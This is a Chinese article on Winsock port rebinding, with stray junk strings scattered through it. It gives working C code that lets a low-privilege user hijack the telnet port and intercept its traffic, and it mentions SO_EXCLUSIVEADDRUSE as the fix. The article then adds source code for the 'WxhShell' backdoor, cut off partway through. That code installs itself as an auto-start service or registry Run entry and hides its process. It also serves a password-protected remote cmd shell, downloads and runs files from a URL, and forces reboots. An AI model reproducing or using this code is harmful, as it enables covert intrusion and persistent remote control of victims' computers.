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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (I/iD.A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); udmLHc n|Ts:>`V saddr.sin_family = AF_INET; %xr'96d _0UE*l$t saddr.sin_addr.s_addr = htonl(INADDR_ANY); t~<HFY*w ) ]DqK<- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0s79rJ d0R;|p''Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bM.$D-?dF* Rh#`AM`)j 这意味着什么?意味着可以进行如下的攻击: oW^>J- 5zh6l+S[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X *EseC *,t/IA| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AN3oh1xe: suE8"v!sk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [5ncBY*A7 Kj)sL0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 41P0)o TU':Rt 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {{?MO{Mh* |=07n K2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9MH;=88q "U+c`V=w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (<rE1w2s: Y% JE}) #include *6eJmbFG #include ~!=Am:-wr #include hQ(^;QcSu #include :W6'G@ p DWORD WINAPI ClientThread(LPVOID lpParam); HB`'S7Q int main() L9XfR$7,z { \GQRpJ#h1 WORD wVersionRequested; WP?]"H DWORD ret;
"a9j2+9 WSADATA wsaData; 2vU-9p { BOOL val; P_'{|M<? SOCKADDR_IN saddr; fDqDU SOCKADDR_IN scaddr; HEAW](s int err; 3Gr"YG{, SOCKET s; x)Zb:" SOCKET sc; ^M%P43 int caddsize; Ijap%l1I HANDLE mt; fj/L)i DWORD tid; @3$ I wVersionRequested = MAKEWORD( 2, 2 ); JZ+6)R err = WSAStartup( wVersionRequested, &wsaData ); T+aNX/c|> if ( err != 0 ) { $gN\%X/n"1 printf("error!WSAStartup failed!\n"); 4_ypFuS ^ return -1; [VqiF~o, } Wp+lI1t saddr.sin_family = AF_INET; @$!6u0x O2?yI8|Jn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EZ:?
(|h SP/b4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y10W\beJ saddr.sin_port = htons(23); [PB73q8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IZm6.F { k=mLcP printf("error!socket failed!\n"); L)&^Pu return -1; e$_gOwB } +nHr+7} val = TRUE; B8?9L8M} //SO_REUSEADDR选项就是可以实现端口重绑定的 ah
f,- ?S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kZo#Ny { w\0vP printf("error!setsockopt failed!\n"); H }]Zp return -1; pC0gw2n8M } ^*4#ZvpG2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6"Lyv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pz[UAJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mdyl;e{0 n1GX`K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \!30t1EZ { $]Ix(7@W ret=GetLastError(); :\'1x printf("error!bind failed!\n"); 5z9hcQAS return -1; '
`c \Dq } f3qR7%X? listen(s,2); Z.!<YfA) while(1)
04&S.#+( { 2O@ON/ caddsize = sizeof(scaddr); lR7;{zlSf' //接受连接请求 Y:\]d1C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O`1!&XT{x if(sc!=INVALID_SOCKET) 8+dsTX`|S { R+0gn/a[ G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -^yc<%U if(mt==NULL) ky]^N) { ,/GFD[SQ printf("Thread Creat Failed!\n"); 5Za<]qxr break; b;d7mh4 } 5%(whSKZF } 2bLc57j{`9 CloseHandle(mt); `7y3C\zyQ } ;di.U, closesocket(s); <9"@<[[, WSACleanup(); t(V2 return 0; %'h:G
Bkd } H.]V-|U
DWORD WINAPI ClientThread(LPVOID lpParam) T^v o9~N* { E;4B!"Q8 SOCKET ss = (SOCKET)lpParam; {d'B._#i SOCKET sc; ?lgE9I] unsigned char buf[4096]; =WI3#<vDG SOCKADDR_IN saddr; D</?|;J#/ long num; H7P}=YW". DWORD val; UJDI[`2 DWORD ret; @
U"Ib //如果是隐藏端口应用的话,可以在此处加一些判断 :UH*Wft1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \Gk}Fer saddr.sin_family = AF_INET; U&:-Vf~& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c(vi,U-hC saddr.sin_port = htons(23); ;`c:Law4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qi7*Jjk>90 { E$4H;SN \ printf("error!socket failed!\n"); B8T5?bl return -1; EXjR&"R } 5wh(Qdib val = 100; "N_@q2zF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /O$~)2^h { Q.7X3A8 ret = GetLastError(); )
?kbHm return -1; mZ? jpnd } PWvT C`? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F=5vAv1 { g\/|7:yB] ret = GetLastError(); #DguV return -1; 1I'}Uh* } GHLnwym if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'Kkp!eZQ~ { .Jg<H %%f printf("error!socket connect failed!\n"); zA$ Y@f closesocket(sc); z=>P jIW closesocket(ss); >k@{NP2b return -1; C"`\[F`.k }
il{x?#Wrb while(1) q[vO
mes { S/y(1.wh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FMn|cO.vEP //如果是嗅探内容的话,可以再此处进行内容分析和记录 d^$cx(2$D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GmJ
\3]{PZ num = recv(ss,buf,4096,0); rVsCJuxI if(num>0) i@WO>+iB send(sc,buf,num,0); 2uY:p=DxG9 else if(num==0) KYKF$@
<G break; ]v@ng8 num = recv(sc,buf,4096,0); }3XjP55 if(num>0) I
Gb'ii=A send(ss,buf,num,0); QjJlVlp else if(num==0) veh=^K%G | break; xOg|<Nnl } *kF/yN closesocket(ss); i>G:*?a closesocket(sc); rk,64( return 0 ; ;UX9Em } }V.fY3J- F$JA
IL{W %Gu=Dkz ========================================================== :18}$ hZUS#75M5 下边附上一个代码,,WXhSHELL jL4"FTcE]3 P&5vVA6K7 ========================================================== #q0xlF@ #\Q)7pgi. #include "stdafx.h" XM?c*,=fu p((. (fx #include <stdio.h> Cx(HsJ!, #include <string.h> JPT&!%~ #include <windows.h> U'5p;j)_ #include <winsock2.h> !{uV-c-5, #include <winsvc.h> F3Vvqt*2 #include <urlmon.h> 1ATH$x DX3jE p2 #pragma comment (lib, "Ws2_32.lib") l<sWM$ez #pragma comment (lib, "urlmon.lib") \B/( H)Cd* (lYC2i_b# #define MAX_USER 100 // 最大客户端连接数 l`0JL7 #define BUF_SOCK 200 // sock buffer {"|GV~ #define KEY_BUFF 255 // 输入 buffer 5y0LkuRR: ;tD?a7 #define REBOOT 0 // 重启 EmP2r*"rb #define SHUTDOWN 1 // 关机 P:XX8 [ CU8%%7 #define DEF_PORT 5000 // 监听端口 1_}k)(n ih:%U #define REG_LEN 16 // 注册表键长度 ,<OS:] #define SVC_LEN 80 // NT服务名长度 Wk-.dJ ND 8;1+3 // 从dll定义API b_~KtMO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .:;q8FL/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H0.&~!,* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l$!NEOK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ke +\Z>BWN ]Qx-f*
D6 // wxhshell配置信息 ,0>_(5 struct WSCFG { X)[QEq^ int ws_port; // 监听端口 ;%u)~3B$JK char ws_passstr[REG_LEN]; // 口令 \jkDRR[ int ws_autoins; // 安装标记, 1=yes 0=no F
'HYWH0? char ws_regname[REG_LEN]; // 注册表键名 6ESS>I"su char ws_svcname[REG_LEN]; // 服务名 ^'sOWIzeiY char ws_svcdisp[SVC_LEN]; // 服务显示名 &j{IG`Trl char ws_svcdesc[SVC_LEN]; // 服务描述信息 F20%r 0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f%YD+Dt_V int ws_downexe; // 下载执行标记, 1=yes 0=no <lPHeO<^] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" )=,;-&AR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6XVJ/qZ u`*$EP-% }; 2b#>~ ?* dfIc // default Wxhshell configuration ooYs0/,{ struct WSCFG wscfg={DEF_PORT, zfml^N "xuhuanlingzhe", gp{P _ 1, Qcs0w( "Wxhshell", etP`q:6^c "Wxhshell", FFF7f 5F "WxhShell Service", N9f;X{ "Wrsky Windows CmdShell Service", Ahg6>7+R. "Please Input Your Password: ", kRz qgVr% 1, QO,ge<N+N " http://www.wrsky.com/wxhshell.exe", =OA7$z[ "Wxhshell.exe" mO\=#Q> }; 0L7^Vr) D4GXZX8K // 消息定义模块 D2#.qoP # char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =1F F2#zS char *msg_ws_prompt="\n\r? for help\n\r#>"; rk?G[C)2c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ou&7v<)x4 char *msg_ws_ext="\n\rExit."; kca Y char *msg_ws_end="\n\rQuit."; N%?8Bm~dP char *msg_ws_boot="\n\rReboot..."; umiD2BRZ char *msg_ws_poff="\n\rShutdown..."; hN:2(x char *msg_ws_down="\n\rSave to "; FkoN+\d LGVGr char *msg_ws_err="\n\rErr!"; jZ69sDhE char *msg_ws_ok="\n\rOK!"; qjvIp- B;L^!sLP
char ExeFile[MAX_PATH]; 2)
A$bx int nUser = 0; H*dQT y, HANDLE handles[MAX_USER]; /#?i +z int OsIsNt; \V<deMb= g\,HiKBXd SERVICE_STATUS serviceStatus; \3z ^/F~ SERVICE_STATUS_HANDLE hServiceStatusHandle; Hn(L0#Oqy %G~%:uJ5 // 函数声明 =CO#Q$ int Install(void); "[]72PC int Uninstall(void); 4T#Z[B[ int DownloadFile(char *sURL, SOCKET wsh); TWQ{,
B int Boot(int flag); >E(IkpZ void HideProc(void); B3Esfk int GetOsVer(void); P1QGfp0-J int Wxhshell(SOCKET wsl); RD p(Ci void TalkWithClient(void *cs); hLLg int CmdShell(SOCKET sock); 7Y'.yn int StartFromService(void); V|dKKb[Lve int StartWxhshell(LPSTR lpCmdLine); D&&11Iz& %OsV(7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BhJ~ jV" VOID WINAPI NTServiceHandler( DWORD fdwControl ); YJrZ X?.LA7 )CK // 数据结构和表定义 E|^~R}z) SERVICE_TABLE_ENTRY DispatchTable[] = 1Xu^pc { %(wa~:m+S- {wscfg.ws_svcname, NTServiceMain}, s|&2QG0'7 {NULL, NULL} mh`VZQ@ }; Q1@V?`rkS{ re}P // 自我安装 -{fbZk&A int Install(void) uU00ZPS*G[ { Nb;Yti@Y. char svExeFile[MAX_PATH]; 1Q$Z'E}SK@ HKEY key; zc-.W2"Hu strcpy(svExeFile,ExeFile); J;BG/VI1 +hS}msu' // 如果是win9x系统,修改注册表设为自启动 :ITz\m if(!OsIsNt) { <)(STo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x:Kca3p v_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); enT.9|vm/ RegCloseKey(key); EGyQhZ mO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #S4{, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #fYz367> RegCloseKey(key); bKH8/*Yk return 0; /CN^">|_ } cB7=4:U } GP/3r[MH } N8l(m5Kk,k else { ';!02=-@ 0$l D // 如果是NT以上系统,安装为系统服务 /z+}xRS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t=ry\h{Pc if (schSCManager!=0) Hv1d4U"qM { Mzx y'UV SC_HANDLE schService = CreateService qN_jsJ ( T=2 91)@ schSCManager, EkqsE$52 wscfg.ws_svcname, x3my8'h@ wscfg.ws_svcdisp, KdOy3O_5N SERVICE_ALL_ACCESS, ]7^YPFc+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ef!V EtEOv SERVICE_AUTO_START, BY$%gIB6> SERVICE_ERROR_NORMAL, ,Tyh._sa svExeFile, ~Hs a6F&F NULL, ~z!U/QR2 NULL, _,;c2 NULL, !W8'apG&[ NULL, rf8`|9h"7 NULL &`63"^y ); {E`f(9r: if (schService!=0) A:ef}OCL { }T+pd#> CloseServiceHandle(schService); 7@Qz CloseServiceHandle(schSCManager); -U=bC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mOyBSOad4 strcat(svExeFile,wscfg.ws_svcname); ?ei7jM", if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QS y=JC9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /cDla5eej RegCloseKey(key); O.*, e return 0; 8<6;X7<- } */RtN`dh } |k> _
jO CloseServiceHandle(schSCManager); !T|X/BR } (a1 s~ } 70m}+R(` y_8 8I:O return 1; qgU$0enSs } o$YL\ <qp 3%xj-7z
W // 自我卸载 9[B*CD| int Uninstall(void) hM(|d@) { jzu1>*ok HKEY key; *A O/$K@Ma ,?7URx* if(!OsIsNt) { (_E<? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KaHjL&! RegDeleteValue(key,wscfg.ws_regname); Y9 ,KOs RegCloseKey(key); vh+IhGi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `hL16S RegDeleteValue(key,wscfg.ws_regname); 5>JrTO5 RegCloseKey(key); dHzo_VV return 0; >t
O(S } X'WbS } 'zZN]P } m4|9p{E else { A3 bE3Fk$ uQ{ &x6.1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2rf-pdOvG if (schSCManager!=0) hn-9l1~!h { TgVvp0F; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m
Fwx},dl if (schService!=0) qv=i eU { QVI4<Rxg if(DeleteService(schService)!=0) { $GYcZN& CloseServiceHandle(schService); ep Eg6
CloseServiceHandle(schSCManager); {KE858 return 0; $AUC#<*C } _bn*B$ CloseServiceHandle(schService); N%:QaCZKw } Ylll4w62N CloseServiceHandle(schSCManager); BYrj#n5 } y}5H<ZcXA } < ppg$; Sim\+SL{# return 1; }^^X-_XT } 0S;H`w_S AY{caM // 从指定url下载文件 ?x"<0k1g int DownloadFile(char *sURL, SOCKET wsh) Id(L}i(X { {d(@o!;Fi HRESULT hr; frk(2C8T char seps[]= "/"; 6fQNF22E char *token; @]t} bF] char *file; ;zIAh[z char myURL[MAX_PATH]; u)MdFz char myFILE[MAX_PATH]; B3]q*ERAo -S
OP8G strcpy(myURL,sURL); P|_>M SO1' token=strtok(myURL,seps); !&Vp5]c while(token!=NULL) ,[%KSyH { |#Bz&T file=token; M;,Q8z% token=strtok(NULL,seps); ]i)m } ,n}X,#] xg k~y,F GetCurrentDirectory(MAX_PATH,myFILE); lphQZ{8 strcat(myFILE, "\\"); =U!M,zw4 strcat(myFILE, file); \IbGNV`q send(wsh,myFILE,strlen(myFILE),0); g>A*kY send(wsh,"...",3,0); 3G
dWq* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WrQe'ny if(hr==S_OK) c%yhODq/ return 0; t{|
KL<d] else 7/w)^&8 return 1; htj:Z:C` hMh8)S } Ro`9Ibqr YN#i^( // 系统电源模块 ;z/Z(7<;; int Boot(int flag) |TatRB3> { )" q$g& HANDLE hToken; B>WAlmPA TOKEN_PRIVILEGES tkp; W~z
2Q
so bf|s=,D if(OsIsNt) { Stq&^S\x69 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qR/~a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DpH+lpC tkp.PrivilegeCount = 1; GSIRZJl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oW3j|V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I{U7BZy if(flag==REBOOT) { gE]6]L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D]\of#%T return 0; V}o`9R@tx} } V6P2W0m else { ZgK[,<2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xr}3vJ7 return 0; ?zGx]?1P1< } dE~]%fUFy- } mZQW>A]iE else { mD<- <]SYp if(flag==REBOOT) { T^> ST if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >7i&(6L return 0; $(/=Wn }
_GS_R%b else { +e}v)N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7yM=$"'d return 0; ~(OG3`W! } CT,P Q } Yl4XgjG Is1P,`*! return 1; ^)oBa=jL4 } Cp4 U`] ix2V?\ // win9x进程隐藏模块 `Y>'*4a\ void HideProc(void) *:S_v.Y3" { vqO d`_) DSjEoWj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X5@+M!` if ( hKernel != NULL )
|Hx#Uk# { SO @d\H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n@|5PI"bx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5My4a9 FreeLibrary(hKernel); D$@5$./ } qF'lh oGt,^!V1 return; 1T&NU } \PReQ|[ah {Tx"G9 // 获取操作系统版本 U;
-2)+ int GetOsVer(void) !\|_,pSB { LCBP9Rftvd OSVERSIONINFO winfo; rlxZ,]ul winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w5fVug/;P GetVersionEx(&winfo); #uTNf78X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _L?MYkD return 1; (D2G.R\pr else S$#"bK/p^ return 0; #gW"k;7P } 8/W(jVO(- pmda9V4 // 客户端句柄模块 DO*rVs3'p[ int Wxhshell(SOCKET wsl) M3q%(!2 { kU:ge SOCKET wsh; tofX.oi+C$ struct sockaddr_in client; 8XfhXm>~ DWORD myID; 3(&k4 dfy]w4ETB while(nUser<MAX_USER) &/dYJv$[9 { mok94XuK) int nSize=sizeof(client); o3 b=)E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X1 DE if(wsh==INVALID_SOCKET) return 1; r2ZSkP. an q1zH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }2xgm9j< if(handles[nUser]==0) n_~u!Ky_P closesocket(wsh); "w7{,HP else arK(dg~S nUser++; 3Z0ez?p+5 } Ei>.eXUD5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1S[4@rZ U:r^4,Mz* return 0; r+TvC{ } aH/8&.JLi ;Mw<{X- // 关闭 socket Ms<v81z5T void CloseIt(SOCKET wsh) J:Mn5hdK= { >c`r&W.t closesocket(wsh); h2jrO9 nUser--; F\u]X ExitThread(0); Z.}Z2K } "+XF'ZO w{8O$4
w // 客户端请求句柄 )7c/i+FsC void TalkWithClient(void *cs) 2CMWJi { c1tM(]& >o:y.2yCe SOCKET wsh=(SOCKET)cs; KWS\ iu char pwd[SVC_LEN]; (usFT_ char cmd[KEY_BUFF]; 8u%rh[g' char chr[1]; QLxe1[qI int i,j; D :)HKD. FPb4VJ|xm while (nUser < MAX_USER) { lvOM1I ,_K y'B if(wscfg.ws_passstr) { <) cJz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &?@gCVNO, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [L>mrHqG //ZeroMemory(pwd,KEY_BUFF); r\A|fiL i=0; ppuJC'GW while(i<SVC_LEN) { Y sDai< qrHCr:~ // 设置超时 A&N$=9.N1 fd_set FdRead; GvzaLEo struct timeval TimeOut; B/Js>R FD_ZERO(&FdRead); 0VnRtLnqI FD_SET(wsh,&FdRead); ZAJ~Tbm[f TimeOut.tv_sec=8; 5Lm-KohT' TimeOut.tv_usec=0; (}RTHpD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lLur.f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f4O}WU}l{s g-pEt# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h e=A%s pwd =chr[0]; [jz@d\k$_ if(chr[0]==0xd || chr[0]==0xa) { HQZJK82 pwd=0; P^aNAa break; j];#=+ } (fYYcpd,k i++; q*K[? } ,\-4X U:AB%gr[ // 如果是非法用户,关闭 socket TH"<6*f2L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ug_c}Nv=Y } i,zZJ=a$ j/8q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CZ!gu Y= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); naiQ$uq0 m2%n: while(1) { U#x`u|L&6 c8N pk< ZeroMemory(cmd,KEY_BUFF); zh{I;~syh (M?VB*sm0 // 自动支持客户端 telnet标准 _Tf
%<E j=0; \#v(f2jPF while(j<KEY_BUFF) { *:%I|5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DaBy<pGb? cmd[j]=chr[0]; ol1J1Zg if(chr[0]==0xa || chr[0]==0xd) { x*!*2{ cmd[j]=0; ai<K6) break; e6>[Z C } QFB2,k6jN j++; DW>O]\I } CHi
t{
@9 1@N4Y9o // 下载文件 BXNC(^ if(strstr(cmd,"http://")) { KBoW(OP4' send(wsh,msg_ws_down,strlen(msg_ws_down),0); vjVa),2 if(DownloadFile(cmd,wsh)) 3!h 3flE send(wsh,msg_ws_err,strlen(msg_ws_err),0); +W/{UddeKU else TtrV
-X>L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .E9$j<SP- } 610u!_- else { _aU
:[v*!
hltUf5m'b switch(cmd[0]) { BI<(]`FP;s J vl-=~ // 帮助 }R~C<3u\2 case '?': { og1Cj{0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *x)u9rO] break; dP<i/@21Wm } 8PqlbLo1 // 安装 jgqeDl\=+ case 'i': { .kyes4Z if(Install()) tI send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7H4\AG\> else @nnX{$YX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6o^O%:0g break; E Uq6)
K
}
)afH: // 卸载 u= Ga} case 'r': { NA YwuE-` if(Uninstall()) <vzU}JA\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); mC$ te else a
*bc#!e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rcf#8 break; *o6QBb } "HLh3L~ // 显示 wxhshell 所在路径 5>:p'zI case 'p': { Va4AE)[/* char svExeFile[MAX_PATH]; ug/P>0 strcpy(svExeFile,"\n\r"); Ko!a`I2M} strcat(svExeFile,ExeFile); ]E*xn send(wsh,svExeFile,strlen(svExeFile),0); 6J965eM'[ break; &m`@6\N(
} <899r \ // 重启 X;{U? `b- case 'b': { ;T<'GP'/r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mp0s>R if(Boot(REBOOT))
=T$2Qo8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); BOl*. t else { P#/s5D8
closesocket(wsh); ?QcS$i ExitThread(0); IFXn GDG$ } 'h>l_A break; i7?OZh*f } 4)9Pgp: // 关机 {!t6&
A case 'd': { OYOczb] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [3]h(D if(Boot(SHUTDOWN)) (#Xgfb"S3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); TrVQ]9;jWk else { 6f
J5Y
iQ closesocket(wsh); OSK:Cb.-?F ExitThread(0); "-Uqv@ } @ 3b- break; cMfnc.P\K } bR=TGL& // 获取shell `)H|
&!wT case 's': { o6X<FE#8 CmdShell(wsh); .Pa6HA ! closesocket(wsh); rjH W ExitThread(0); 8WwLKZ} break; ab5i7@Ed } 3H5<w4yk // 退出 7':<I-Fm case 'x': { <*opVy^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %%Wn: c> CloseIt(wsh); 1k)`C<l break; O.?q8T)n82 } s3)T}52 // 离开 >kV=h?]Y case 'q': { H"rIOoxf send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bs-MoT! closesocket(wsh); ^p~ 3H WSACleanup(); (!<G` ;}u exit(1); =YR+`[bfI break; EkP(]F } &^ =Y76 } "oCXG`.k& } B)ibxM(n* %U$%x // 提示信息 (PnrY~9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IUy5=Sl } 5{#ya2 } ~
[=2d a T)cbpkH4 return; gk"J+uM } 9riKSp:5 ePI)~ // shell模块句柄 m6
a@Y< int CmdShell(SOCKET sock) Va\?"dH>M { LYS[qLpf STARTUPINFO si; Q#I?nBin ZeroMemory(&si,sizeof(si)); Y.o-e)zX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gd ; e-. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }x:nhy` PROCESS_INFORMATION ProcessInfo; uX,ln(9I*H char cmdline[]="cmd"; @,TCg1@QJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); btB> -pT return 0; K9UWyM<(2C } :sekMNM >c@1UEwkm // 自身启动模式 Y.8mgy> int StartFromService(void) mr`EcO0 { zC$(/nZ
typedef struct a~;`&Uj { xw rleB DWORD ExitStatus; J_ `\}55n DWORD PebBaseAddress; a.g:yWL\ DWORD AffinityMask; _qhYG1t DWORD BasePriority; ,9ZN k@q ULONG UniqueProcessId; w77"?kJ9X ULONG InheritedFromUniqueProcessId; lmr:PX } PROCESS_BASIC_INFORMATION; (~n0,$ iLG~_Ob: PROCNTQSIP NtQueryInformationProcess; (yi{<$U* nYO4JlNP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3+ r8yiY
